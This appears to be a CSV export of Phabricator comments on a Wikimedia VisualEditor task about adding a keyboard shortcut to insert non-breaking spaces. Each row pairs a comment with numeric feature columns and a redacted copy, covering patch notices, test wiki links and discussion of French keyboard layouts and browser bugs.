~~[[ http://localhost/patchdemo/wikis/ccf0f0ed62e0183bcd8312eb45d1ce97/w/ ]]~~",,,1615050934,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,400,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.5,0.6944444444444444,"Test wiki on [[ URL | Patch Demo ]]  by Ed using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
1678845,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Test wiki **created** on [[ http://localhost/patchdemo | Patch Demo ]] by Ed using patch(es) linked to this task:

http://localhost/patchdemo/wikis/bca3f56df9aa1ff71991cf889062e980/w/",,,1615049225,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,400,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.7857142857142856,0.7857142857142857,"Test wiki **created** on [[ URL | Patch Demo ]] by Ed using patch(es) linked to this task:

URL"
1678836,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Test wiki **created** on [[ http://localhost/patchdemo | Patch Demo ]] by Ed using patch(es) linked to this task:

http://localhost/patchdemo/wikis/ccf0f0ed62e0183bcd8312eb45d1ce97/w/",,,1615047467,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,400,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.7857142857142856,0.7857142857142857,"Test wiki **created** on [[ URL | Patch Demo ]] by Ed using patch(es) linked to this task:

URL"
1667664,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 665132 had a related patch set uploaded (by Esanders; owner: Esanders):
[VisualEditor/VisualEditor@master] Detect NBSPs being inserted deliberately by IMEs

https://gerrit.wikimedia.org/r/665132",,,1613669036,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,398,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,29.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,5.032258064516129,0.9354838709677419,"Change 665132 had a related patch set uploaded (by Esanders; owner: Esanders):
[VisualEditor/VisualEditor@master] Detect NBSPs being inserted deliberately by IMEs

GERRIT_URL"
1663582,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 255937 **restored** by Bartosz Dziewoński:
[mediawiki/extensions/VisualEditor@master] Add command to insert non-breaking space, triggered by Ctrl+Space (PC) / Opt+Space (Mac)

https://gerrit.wikimedia.org/r/255937",,,1613074784,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,397,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.2682926829268295,0.8048780487804879,"Change 255937 **restored** by Bartosz Dziewoński:
[mediawiki/extensions/VisualEditor@master] Add command to insert non-breaking space, triggered by Ctrl+Space (PC) / Opt+Space (Mac)

GERRIT_URL"
1269439,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"I have a related remark. Even though the editor does not provide itself a keyboard shortcut to insert no-break spaces, your keyboard layout might allow you to write no-break spaces. If you’re in this case, an editor-provided keyboard shortcut to insert no-break spaces is completely unneeded.

The ‘French (alternative)’ keyboard layout (it’s its name on Linux) allows to insert no-break spaces with AltGr-Shift-Space. Personally I use the ‘Bépo’ keyboard layout (a Dvorak-like for French) which allows to type no-break spaces with Shift-Space. But it doesn’t work in the VisualEditor (both in visual and wikitext modes): it inserts a normal space. However it works with the classic (2013?) wikitext editor. It is very weird, because I can type no-break spaces everywhere else on my system, except in some rich-text web editors (I have the same problem with WordPress). I’m very curious about the source of that bug. It might be something else though, that would need its own bug report.

You can test the ‘French (alternative)’ keyboard layout easily on Linux by typing `setxkbmap fr oss` in a terminal. (Under Windows you must install it: use [[ http://mjulier.free.fr/clavier/clavier_fr-ossc.zip | this archive ]] linked from [[ https://fr.wikipedia.org/wiki/Aide:Lettres_accentu%C3%A9es#Avec_des_dispositions_de_clavier_am%C3%A9lior%C3%A9es | this Wikipedia page ]].)

Actually… OK, I just figured out it’s a Firefox bug with the `contenteditable=""true""`. Typing no-break spaces does work in Chromium.",,,1556057434,,PHID-USER-2fha2mym5lty6djs2qfl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,303,,0.25,0.25,0.75,0.0,0.25,3.25,0.5,0.25,0.5,0.25,2.0,0.0,0.0,0.0,0.0,1.75,0.0,3.75,8.25,0.25,1.25,0.25,0.0,0.25,0.25,0.0,0.0,0.0,1.0,0.25,0.0,4.5,0.0,3.0,0.75,1.25,0.0,0.25,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.75,0.25,1.25,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.25,0.0,0.25,0.0,0.0,0.0,4.25,0.75,11.5,1.0,0.5,8.25,0.0,0.0,0.0,0.0,4.0,0.25,0.25,0.0,6.0,8.25,5.0,0.25,0.0,0.0,6.0,0.0,0.25,2.0,0.25,0.75,0.0,0.0,0.75,3.656798245614035,0.7210526315789474,"I have a related remark. Even though the editor does not provide itself a keyboard shortcut to insert no-break spaces, your keyboard layout might allow you to write no-break spaces. If you’re in this case, an editor-provided keyboard shortcut to insert no-break spaces is completely unneeded.

The ‘French (alternative)’ keyboard layout (it’s its name on Linux) allows to insert no-break spaces with AltGr-Shift-Space. Personally I use the ‘Bépo’ keyboard layout (a Dvorak-like for French) which allows to type no-break spaces with Shift-Space. But it doesn’t work in the VisualEditor (both in visual and wikitext modes): it inserts a normal space. However it works with the classic (2013?) wikitext editor. It is very weird, because I can type no-break spaces everywhere else on my system, except in some rich-text web editors (I have the same problem with WordPress). I’m very curious about the source of that bug. It might be something else though, that would need its own bug report.

You can test the ‘French (alternative)’ keyboard layout easily on Linux by typing CODE in a terminal. (Under Windows you must install it: use [[ URL | this archive ]] linked from [[ URL | this Wikipedia page ]].)

Actually… OK, I just figured out it’s a Firefox bug with the CODE. Typing no-break spaces does work in Chromium."
1269435,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"I have a related remark. Even though the editor does not provide itself a keyboard shortcut to insert no-break spaces, your keyboard layout might allow you to write no-break spaces. If you’re in this case, an editor-provided keyboard shortcut to insert no-break spaces is completely unneeded.

The ‘French (alternative)’ keyboard layout (it’s its name on Linux) allows to insert no-break spaces with AltGr-Shift-Space. Personally I use the ‘Bépo’ keyboard layout (a Dvorak-like for French) which allows to type no-break spaces with Shift-Space. But it doesn’t work in the VisualEditor (both in visual and wikitext modes): it inserts a normal space. However it works with the classic (2013?) wikitext editor. It is very weird, because I can type no-break spaces everywhere else on my system, except in some rich-text web editors (I have the same problem with WordPress). I’m very curious about the source of that bug. It might be something else though, that would need its own bug report.

You can test the ‘French (alternative)’ keyboard layout easily on Linux by typing `setxkbmap fr oss` in a terminal. (Under Windows you must install it: use [[ http://mjulier.free.fr/clavier/clavier_fr-ossc.zip | this archive ]] linked from [[ https://fr.wikipedia.org/wiki/Aide:Lettres_accentu%C3%A9es#Avec_des_dispositions_de_clavier_am%C3%A9lior%C3%A9es | this Wikipedia page ]].)",,,1556057144,,PHID-USER-2fha2mym5lty6djs2qfl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,303,,0.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,4.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.333333333333334,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,5.0,0.0,3.3333333333333335,1.0,1.6666666666666667,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.666666666666668,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,4.666666666666667,1.0,11.666666666666666,1.3333333333333333,0.6666666666666666,9.666666666666666,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,7.333333333333333,9.333333333333334,5.333333333333333,0.3333333333333333,0.0,0.0,7.333333333333333,0.0,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,3.6849816849816848,0.706959706959707,"I have a related remark. Even though the editor does not provide itself a keyboard shortcut to insert no-break spaces, your keyboard layout might allow you to write no-break spaces. If you’re in this case, an editor-provided keyboard shortcut to insert no-break spaces is completely unneeded.

The ‘French (alternative)’ keyboard layout (it’s its name on Linux) allows to insert no-break spaces with AltGr-Shift-Space. Personally I use the ‘Bépo’ keyboard layout (a Dvorak-like for French) which allows to type no-break spaces with Shift-Space. But it doesn’t work in the VisualEditor (both in visual and wikitext modes): it inserts a normal space. However it works with the classic (2013?) wikitext editor. It is very weird, because I can type no-break spaces everywhere else on my system, except in some rich-text web editors (I have the same problem with WordPress). I’m very curious about the source of that bug. It might be something else though, that would need its own bug report.

You can test the ‘French (alternative)’ keyboard layout easily on Linux by typing CODE in a terminal. (Under Windows you must install it: use [[ URL | this archive ]] linked from [[ URL | this Wikipedia page ]].)"
1269411,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"@Nnemo: +1 for Ctrl-Shift-Space which also works on LibreOffice.

>>! In T53045#1244827, @Nnemo wrote:
> # « The safe places for french quotes » do not work in the visual editor — this is a bug, by the way. 

//All// the safe places fail in the visual editor. I sometimes have line breaks before colons, semicolons, etc.

>>! In T53045#1757181, @Esanders wrote:
> Or you could somehow annotate the whole word as nowrap. Arguably <nowrap>100 °C</nowrap> would be clearer than 100&nbsp;°C

Forget `<nowrap>`. There’s an already existing HTML4 `<nobr>` tag. To me it would be relevant that MediaWiki supports it; MDN says it’s non-standard (while it’s supported by all browser engines), that may be the reason. The behavior you were looking for can still be obtained with code like what [[ https://en.wikipedia.org/wiki/Template:Nowrap | this template ]] uses.",,,1556056383,,PHID-USER-2fha2mym5lty6djs2qfl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,303,,1.0,0.0,0.0,1.0,0.0,4.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,2.5,8.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.5,1.0,0.0,4.5,1.5,3.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.5,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,0.0,3.0,3.5,11.5,1.5,0.0,5.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.5,8.0,5.0,0.0,0.0,0.0,5.5,0.0,2.0,0.5,1.0,1.5,0.0,0.0,2.0,3.788135593220339,0.788135593220339,"SCREEN_NAME: +1 for Ctrl-Shift-Space which also works on LibreOffice.

QUOTE
QUOTE

//All// the safe places fail in the visual editor. I sometimes have line breaks before colons, semicolons, etc.

QUOTE
QUOTE

Forget CODE. There’s an already existing HTML4 CODE tag. To me it would be relevant that MediaWiki supports it; MDN says it’s non-standard (while it’s supported by all browser engines), that may be the reason. The behavior you were looking for can still be obtained with code like what [[ URL | this template ]] uses."
594585,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),">>! In T53045#1953183, @Nnemo wrote:
> Regarding Ctrl Space on PC, would Ctrl Shift Space work as well? It would be good.

Yes, that patch actually used both of these combinations, but space in the commit summary is limited ;)",,,1453407360,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,133,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9166666666666666,"QUOTE
QUOTE

Yes, that patch actually used both of these combinations, but space in the commit summary is limited ;)"
594580,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),">>! In T53045#1837188, @gerritbot wrote:
> Change 255937 had a related patch set uploaded (by Bartosz Dziewoński):
> Add command to insert non-breaking space, triggered by Ctrl Space (PC) / Opt Space (Mac)
> 
> [[https://gerrit.wikimedia.org/r/255937]]

Option Space on Mac is a good combination. Regarding Ctrl Space on PC, would Ctrl Shift Space work as well? It would be good.
",,,1453407233,,PHID-USER-fjve3gq5wsmaaccti7pb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,133,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,39.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,32.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.317073170731707,0.6097560975609756,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Option Space on Mac is a good combination. Regarding Ctrl Space on PC, would Ctrl Shift Space work as well? It would be good.
"
593290,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"If those are blockers, can they be listed as such?",,,1453297794,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,133,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,"If those are blockers, can they be listed as such?"
593288,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 255937 abandoned by Bartosz Dziewoński:
Add command to insert non-breaking space, triggered by Ctrl Space (PC) / Opt Space (Mac)

Reason:
This doesn't seem to be moving forward. And last time I checked, non-breaking spaces in VE-MW (implemented as MWEntity) had a bunch of problems like T119838, T119839, T119840; so we wouldn't really want to point users towards them without fixing that first.

[[https://gerrit.wikimedia.org/r/255937]]",,,1453297689,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,133,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,22.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,3.0,11.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,3.0,3.7291666666666665,0.7708333333333334,"Change 255937 abandoned by Bartosz Dziewoński:
Add command to insert non-breaking space, triggered by Ctrl Space (PC) / Opt Space (Mac)

Reason:
This doesn't seem to be moving forward. And last time I checked, non-breaking spaces in VE-MW (implemented as MWEntity) had a bunch of problems like T119838, T119839, T119840; so we wouldn't really want to point users towards them without fixing that first.

[[GERRIT_URL]]"
569738,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),I also think CTRL+space is quite a high profile shortcut to assign to a relatively uncommon feature.,,,1448822067,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,125,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,0.8888888888888888,I also think CTRL+space is quite a high profile shortcut to assign to a relatively uncommon feature.
569728,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 255937 had a related patch set uploaded (by Bartosz Dziewoński):
Add command to insert non-breaking space, triggered by Ctrl Space (PC) / Opt Space (Mac)

[[https://gerrit.wikimedia.org/r/255937]]
",,,1448820160,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,125,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,26.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,7.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.558139534883721,0.813953488372093,"Change 255937 had a related patch set uploaded (by Bartosz Dziewoński):
Add command to insert non-breaking space, triggered by Ctrl Space (PC) / Opt Space (Mac)

[[GERRIT_URL]]
"
552937,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),">>! In T70429#1224015, @Esanders wrote:
> Or you could somehow annotate the whole word as nowrap. Arguably <nowrap>100 °C</nowrap> would be clearer than 100&nbsp;°C
",,,1445953865,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,121,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,"QUOTE
QUOTE
"
450994,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),">>! In T53045#1232726, @Ltrlg wrote:
> Inserting only the character is not persistent: there is at least one browser which replaces non-breaking spaces with normal spaces in `<textearea>`s (may be Firefox? don’t remember). See [[https://fr.wikipedia.org/w/index.php?diff=114391750&oldid=114391708|this diff]] for an example of such a replacement (I read unfortunately more talk pages than articles and don’t remember an recent example in ns-0).

//Sometimes//, a replacement of non-breaking spaces with normal spaces in the text area occurs (occurred). This is (was) caused by a bug of Firefox, that was fixed years ago. Now, this happens rarely, because people having a fossil Firefox are rare. Over time, such replacements will be rarer and rarer.

>>! In T53045#1232726, @Ltrlg wrote:
> Of course there are safe places (before colons, inside French quotations marks) where MediaWiki does not require a special space to render a non-breaking one and where it would make no difference.

These safe places exist. //But ://

# I think that these safe places are a setup specific to the site fr.wikipedia.org, and do not apply in the general case of a MediaWiki. I may be wrong here. 
# These safe places do not work in links. 
# These safe places do not work in wikicode. 
# « The safe places for french quotes » do not work in the visual editor — this is a bug, by the way. 
",,,1430308930,,PHID-USER-fjve3gq5wsmaaccti7pb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,95,,0.0,0.0,0.0,0.5,2.5,10.5,3.0,0.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,1.0,0.0,4.5,9.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.5,0.5,0.5,6.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.5,16.0,2.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,6.5,4.5,8.5,1.0,1.0,10.5,0.0,0.0,0.0,2.5,3.5,0.0,0.0,0.0,1.0,9.0,4.0,0.0,0.0,0.0,1.0,0.0,0.5,3.5,0.0,0.5,0.5,0.0,0.0,3.4941176470588236,0.6529411764705882,"QUOTE
QUOTE

//Sometimes//, a replacement of non-breaking spaces with normal spaces in the text area occurs (occurred). This is (was) caused by a bug of Firefox, that was fixed years ago. Now, this happens rarely, because people having a fossil Firefox are rare. Over time, such replacements will be rarer and rarer.

QUOTE
QUOTE

These safe places exist. //But ://

# I think that these safe places are a setup specific to the site fr.wikipedia.org, and do not apply in the general case of a MediaWiki. I may be wrong here. 
# These safe places do not work in links. 
# These safe places do not work in wikicode. 
# « The safe places for french quotes » do not work in the visual editor — this is a bug, by the way. 
"
448504,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Inserting only the character is not persistent: there is at least one browser which replaces non-breaking spaces with normal spaces in `<textearea>`s (may be Firefox? don’t remember). See [[https://fr.wikipedia.org/w/index.php?diff=114391750&oldid=114391708|this diff]] for an example of such a replacement (I read unfortunately more talk pages than articles and don’t remember an recent example in ns-0).

Of course there are safe places (before colons, inside French quotations marks) where MediaWiki does not require a special space to render a non-breaking one and where it would make no difference.",,,1429827478,,PHID-USER-5pyvkdz65d5h5vxebodc,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,94,,0.0,0.0,0.0,0.0,1.5,9.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.5,0.5,0.0,7.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,5.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,4.5,2.5,6.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,1.5,8.0,1.5,0.5,0.0,0.0,1.5,0.0,2.5,4.0,0.0,0.5,0.5,0.5,1.0,4.092592592592593,0.9074074074074074,"Inserting only the character is not persistent: there is at least one browser which replaces non-breaking spaces with normal spaces in CODEs (may be Firefox? don’t remember). See [[URL diff]] for an example of such a replacement (I read unfortunately more talk pages than articles and don’t remember an recent example in ns-0).

Of course there are safe places (before colons, inside French quotations marks) where MediaWiki does not require a special space to render a non-breaking one and where it would make no difference."
448503,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Inserting only the character is not persistent: there is at least one browser which replaces non-breaking spaces with normal spaces in `<textearea>`s (may be Firefox? don’t remember). See [[https://fr.wikipedia.org/w/index.php?diff=114391750&oldid=114391708|this diff]] for an example of such a replacement (I read unfortunately more talk pages than articles and don’t remember an recent example in ns-0).

